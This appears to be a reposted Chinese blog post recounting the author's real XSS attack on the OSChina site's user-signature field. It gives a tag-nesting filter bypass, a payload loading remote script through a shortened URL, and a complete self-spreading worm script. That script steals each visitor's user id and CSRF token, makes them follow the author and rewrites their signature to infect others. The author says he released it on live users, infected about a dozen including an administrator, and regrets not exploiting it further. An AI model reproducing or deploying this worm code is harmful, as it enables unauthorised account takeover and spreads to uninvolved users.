网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

第一次实际的XSS攻击 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] 对于Web安全,我只能算是个初学者,XSS,SQL注入都有所了解,在写代码的过程中也会考虑这方面的安全问题。但还没有针对网站进行漏洞挖掘,并实施攻击。我经常会去逛开源中国,昨...

 对于Web安全,我只能算是个初学者,XSS,SQL注入都有所了解,在写代码的过程中也会考虑这方面的安全问题。但还没有针对网站进行漏洞挖掘,并实施攻击。我经常会去逛开源中国,昨天我打算探测一下它的XSS漏洞。

每个用户的主页都有一个“个性签名”的输入框,于是我从这里开始下手。首先我就输入了“<>",没想到他竟然没有对着两个符号进行转义,虽然后面的测试发现它会过滤html标签,但针对这种过滤可轻松的绕过。经过尝试我构建了如下代码:

<<a>scri</a>pt src=""><</<a>/scri</a>pt>

经过过滤成变成:

<script src=""></script>

后面就很顺理成章了,我在CSDN CODE里创建了一条代码片,转为google短域名,然后引用了过来:

<<a>scri</a>pt src="http://goo.gl/aXSgs6"><</<a>/scri</a>pt>

把我的签名改为以上内容,发一条动态诱惑大家来访问我的主页,以下为攻击代码的内容:

 //获取当前登录用户的id
var visitorId = $('html').html().match(/user=(\d+)/)[1]

//147691是我的id,让当前用户关注我
$.ajax({
    url:'http://my.oschina.net/action/user/follow',
    type:'post',
    async:false,
    data:'id=147691&user=' + visitorId
})

//获取token,用于修改当前用户的签名
var token = ''
$.ajax({
    url:'http://my.oschina.net/u/' + visitorId,
    async:false,
    success:function(d){
        token = d.match(/user_code=([0-9a-z]+)/i)[1]
    }
})

$.ajax({
    url:'/action/profile/update_user_signature?user_code=' + token,
    type:'post',
    //修改签名内容,同时插入这段xss代码,别人访问他的页面,也会被感染
    data:'element_id=MyResume&original_html=&original_value=&update_value=' + 
     encodeURI('<<a>scri</a>pt src="http://goo.gl/aXSgs6"><</<a>/scri</a>pt>这个人很懒,啥都写了')
})

这段代码只做了两件事:

1. 关注我

2. 修改他的签名,让其被感染

当时比较激动,只是为了好玩所以就放出去了,一会儿就有十几个人被感染,管理员也在其中,很快漏洞被发现并修复,十来分钟就结束了

\

事后想想比较后悔,感觉不尽兴啊,这么好的漏洞就这样被浪费了。第一次,所以没沉住气。

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论